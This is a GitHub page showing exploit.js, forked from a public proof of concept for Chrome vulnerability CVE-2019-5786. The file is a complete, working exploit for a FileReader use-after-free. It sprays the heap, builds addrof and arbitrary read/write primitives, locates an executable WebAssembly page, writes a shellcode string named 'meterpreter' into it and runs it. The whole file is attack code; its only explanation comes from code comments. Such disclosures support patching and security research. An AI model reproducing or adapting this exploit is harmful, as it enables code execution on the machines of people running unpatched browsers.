forked from exodusintel/CVE-2019-5786
-
Notifications
You must be signed in to change notification settings - Fork 0
/
exploit.js
332 lines (280 loc) · 11.3 KB
/
exploit.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
let myWorker = new Worker('worker.js');
let reader = null;
spray = null; // nested arrays used to hold the sprayed heap contents
let onprogress_cnt = 0; // number of times onprogress was called in a round
let try_cnt = 0; // number of rounds we tried
let last = 0, lastlast = 0; // last two AB results from the read
let tarray = 0; // TypedArray constructed from the dangling ArrayBuffer
const string_size = 128 * 1024 * 1024;
let contents = String.prototype.repeat.call('Z', string_size);
let f = new File([contents], "text.txt");
const marker1 = 0x36313233;
const marker2 = 0x37414546;
const outers = 256;
const inners = 1024;
function allocate_spray_holders() {
spray = new Array(outers);
for (let i = 0; i < outers; i++) {
spray[i] = new Array(inners);
}
}
function clear_spray() {
for (let i = 0; i < outers; i++) {
for (let j = 0; j < inners; j++) {
spray[i][j] = null;
}
}
}
function reclaim_mixed() {
// spray the heap to reclaim the freed region
let tmp = {};
for (let i = 0; i < outers; i++) {
for (let j = 0; j + 2 < inners; j+=3) {
spray[i][j] = {a: marker1, b: marker2, c: tmp};
spray[i][j].c = spray[i][j] // self-reference to find our absolute address
spray[i][j+1] = new Array(8);
spray[i][j+2] = new Uint32Array(32);
}
}
}
function find_pattern() {
const start_offset = 0x00afc000 / 4;
for (let i = start_offset; i + 1 < string_size / 4; i++) {
if (i < 50){
console.log(tarray[i].toString(16));
}
// multiply by two because of the way SMIs are stored
if (tarray[i] == marker1 * 2) {
if (tarray[i+1] == marker2 * 2) {
console.log(`found possible candidate objectat idx ${i}`);
return i;
}
}
}
return null;
}
function get_obj_idx(prop_idx) {
// find the index of the Object in the spray array
tarray[prop_idx] = 0x62626262;
for (let i = 0; i < outers; i++) {
for (let j = 0; j < inners; j+=1) {
try {
if (spray[i][j].a == 0x31313131) {
console.log(`found object idx in the spray array: ${i} ${j}`);
return spray[i][j];
}
} catch (e) {}
}
}
}
function ta_read(addr) {
// reads an absolute address through the original freed region
// only works for ta_absolute_addr + string_size (128MiB)
if (addr > ta_absolute_addr && addr < ta_absolute_addr + string_size) {
return tarray[(addr-ta_absolute_addr)/4];
}
return 0;
}
function ta_write(addr, value) {
// wrtie to an absolute address through the original freed region
// only works for ta_absolute_addr + string_size (128MiB)
if (addr % 4 || value > 2**32 - 1 ||
addr < ta_absolute_addr ||
addr > ta_absolute_addr + string_size) {
console.log(`invalid args passed to ta_write(${addr.toString(16)}, ${value}`);
}
tarray[(addr-ta_absolute_addr)/4] = value;
}
function get_corruptable_ui32a() {
// finds a sprayed Uint32Array, the elements pointer of which also falls into the controlled region
for (let i = 0; i < outers; i++) {
for (let j = 0; j + 2 < inners; j+=3) {
let ui32a_addr = addrof(spray[i][j+2]) - 1;
let bs_addr = ta_read(ui32a_addr + 12) - 1;
let elements_addr = ta_read(ui32a_addr + 8) - 1;
// read its elements pointer
// if the elements ptr lies inside the region we have access to
if (bs_addr >= ta_absolute_addr && bs_addr < ta_absolute_addr + string_size &&
elements_addr >= ta_absolute_addr && elements_addr < ta_absolute_addr + string_size) {
console.log(`found corruptable Uint32Array->elements at ${bs_addr.toString(16)}, on Uint32Array idx ${i} ${j}`);
return {
bs_addr: bs_addr,
elements_addr: elements_addr,
ui32: spray[i][j+2],
i: i, j: j
}
}
}
}
}
var reader_obj = null;
var object_prop_taidx = null;
var ta_absolute_addr = null;
var aarw_ui32 = null;
function addrof(leaked_obj) {
reader_obj.a = leaked_obj;
return tarray[object_prop_taidx];
}
function read4(addr) {
// save the old values
let tmp1 = ta_read(aarw_ui32.elements_addr + 12);
let tmp2 = ta_read(aarw_ui32.bs_addr + 16);
// rewrite the backing store ptr
ta_write(aarw_ui32.elements_addr + 12, addr);
ta_write(aarw_ui32.bs_addr + 16, addr);
let val = aarw_ui32.ui32[0];
ta_write(aarw_ui32.elements_addr + 12, tmp1);
ta_write(aarw_ui32.bs_addr + 16, tmp2);
return val;
}
function write4(addr, val) {
// save the old values
let tmp1 = ta_read(aarw_ui32.elements_addr + 12);
let tmp2 = ta_read(aarw_ui32.bs_addr + 16);
// rewrite the backing store ptr
ta_write(aarw_ui32.elements_addr + 12, addr);
ta_write(aarw_ui32.bs_addr + 16, addr);
aarw_ui32.ui32[0] = val;
ta_write(aarw_ui32.elements_addr + 12, tmp1);
ta_write(aarw_ui32.bs_addr + 16, tmp2);
}
function get_rw() {
// free up as much memory as possible
// spray = null;
// contents = null;
force_gc();
// attepmt reclaiming the memory pointed to by dangling pointer
reclaim_mixed();
// access the reclaimed region as a Uint32Array
tarray = new Uint32Array(lastlast);
object_prop_taidx = find_pattern();
if (object_prop_taidx === null) {
console.log('ERROR> failed to find marker');
window.top.postMessage(`ERROR> failed to find marker`, '*');
return;
}
// leak the absolute address of the Object
const obj_absolute_addr = tarray[object_prop_taidx + 2] - 1; // the third property of the sprayed Object is self-referential
ta_absolute_addr = obj_absolute_addr - (object_prop_taidx-3)*4
console.log(`leaked absolute address of our object ${obj_absolute_addr.toString(16)}`);
console.log(`leaked absolute address of ta ${ta_absolute_addr.toString(16)}`);
reader_obj = get_obj_idx(object_prop_taidx);
if (reader_obj == undefined) {
console.log(`ERROR> failed to find object`);
window.top.postMessage(`ERROR> failed to find object`, '*');
return;
}
// now reader_obj is a reference to the Object, object_prop_taidx is the index of its first inline property from the beginning of ta
console.log(`addrof(reader_obj) == ${addrof(reader_obj)}`);
aarw_ui32 = get_corruptable_ui32a();
// arbitrary read write up after this point
}
var wfunc = null;
let meterpreter = unescape("%ue8fc%u0082%u0000%u8960%u31e5%u64c0%u508b%u8b30%u0c52%u528b%u8b14%u2872%ub70f%u264a%uff31%u3cac%u7c61%u2c02%uc120%u0dcf%uc701%uf2e2%u5752%u528b%u8b10%u3c4a%u4c8b%u7811%u48e3%ud101%u8b51%u2059%ud301%u498b%ue318%u493a%u348b%u018b%u31d6%uacff%ucfc1%u010d%u38c7%u75e0%u03f6%uf87d%u7d3b%u7524%u58e4%u588b%u0124%u66d3%u0c8b%u8b4b%u1c58%ud301%u048b%u018b%u89d0%u2444%u5b24%u615b%u5a59%uff51%u5fe0%u5a5f%u128b%u8deb%u6a5d%u8d01%ub285%u0000%u5000%u3168%u6f8b%uff87%ubbd5%ub5f0%u56a2%ua668%ubd95%uff9d%u3cd5%u7c06%u800a%ue0fb%u0575%u47bb%u7213%u6a6f%u5300%ud5ff%u6163%u636c%u652e%u6578%u4100");
function rce() {
function get_wasm_func() {
var importObject = {
imports: { imported_func: arg => console.log(arg) }
};
bc = [0x0, 0x61, 0x73, 0x6d, 0x1, 0x0, 0x0, 0x0, 0x1, 0x8, 0x2, 0x60, 0x1, 0x7f, 0x0, 0x60, 0x0, 0x0, 0x2, 0x19, 0x1, 0x7, 0x69, 0x6d, 0x70, 0x6f, 0x72, 0x74, 0x73, 0xd, 0x69, 0x6d, 0x70, 0x6f, 0x72, 0x74, 0x65, 0x64, 0x5f, 0x66, 0x75, 0x6e, 0x63, 0x0, 0x0, 0x3, 0x2, 0x1, 0x1, 0x7, 0x11, 0x1, 0xd, 0x65, 0x78, 0x70, 0x6f, 0x72, 0x74, 0x65, 0x64, 0x5f, 0x66, 0x75, 0x6e, 0x63, 0x0, 0x1, 0xa, 0x8, 0x1, 0x6, 0x0, 0x41, 0x2a, 0x10, 0x0, 0xb];
wasm_code = new Uint8Array(bc);
wasm_mod = new WebAssembly.Instance(new WebAssembly.Module(wasm_code), importObject);
return wasm_mod.exports.exported_func;
}
let wasm_func = get_wasm_func();
wfunc = wasm_func;
// traverse the JSFunction object chain to find the RWX WebAssembly code page
let wasm_func_addr = addrof(wasm_func) - 1;
let sfi = read4(wasm_func_addr + 12) - 1;
let WasmExportedFunctionData = read4(sfi + 4) - 1;
let instance = read4(WasmExportedFunctionData + 8) - 1;
let rwx_addr = read4(instance + 0x74);
// write the shellcode to the RWX page
if (meterpreter.length % 2 != 0)
meterpreter += "\\u9090";
for (let i = 0; i < meterpreter.length; i += 2) {
write4(rwx_addr + i*2, meterpreter.charCodeAt(i) + meterpreter.charCodeAt(i + 1) * 0x10000);
}
// if we got to this point, the exploit was successful
window.top.postMessage('SUCCESS', '*');
console.log('success');
// invoke the shellcode
window.setTimeout(wfunc, 1000);
}
function force_gc() {
// forces a garbage collection to avoid OOM kills
try {
var failure = new WebAssembly.Memory({initial: 32767});
} catch(e) {
// console.log(e.message);
}
}
function init() {
abs = [];
tarray = 0;
onprogress_cnt = 0;
try_cnt = 0;
last = 0, lastlast = 0;
reader = new FileReader();
reader.onloadend = function(evt) {
try_cnt += 1;
failure = false;
if (onprogress_cnt < 2) {
console.log(`less than 2 onprogress events triggered: ${onprogress_cnt}, try again`);
failure = true;
}
if (lastlast.byteLength != f.size) {
console.log(`lastlast has a different size than expected: ${lastlast.byteLength}`);
failure = true;
}
if (failure === true) {
console.log('retrying in 1 second');
window.setTimeout(exploit, 1);
return;
}
console.log(`onloadend attempt ${try_cnt} after ${onprogress_cnt} onprogress callbacks`);
try {
// trigger the FREE
myWorker.postMessage([last], [last, lastlast]);
} catch(e) {
// an exception with this message indicates that the FREE part of the exploit was successful
if (e.message.includes('ArrayBuffer at index 1 could not be transferred')) {
get_rw();
rce();
return;
} else {
console.log(e.message);
}
}
}
reader.onprogress = function(evt) {
force_gc();
let res = evt.target.result;
// console.log(`onprogress ${onprogress_cnt}`);
onprogress_cnt += 1;
if (res.byteLength != f.size) {
// console.log(`result has a different size than expected: ${res.byteLength}`);
return;
}
lastlast = last;
last = res;
}
if (spray === null) {
// allocate the spray holders if needed
allocate_spray_holders();
}
// clear the spray holder arrays
clear_spray();
// get rid of the reserved ArrayBuffer range, as it may interfere with the exploit
try {
let failure = new ArrayBuffer(1024 * 1024 * 1024);
} catch (e) {
console.log(e.message);
}
force_gc();
}
function exploit() {
init();
reader.readAsArrayBuffer(f);
console.log(`attempt ${try_cnt} started`);
}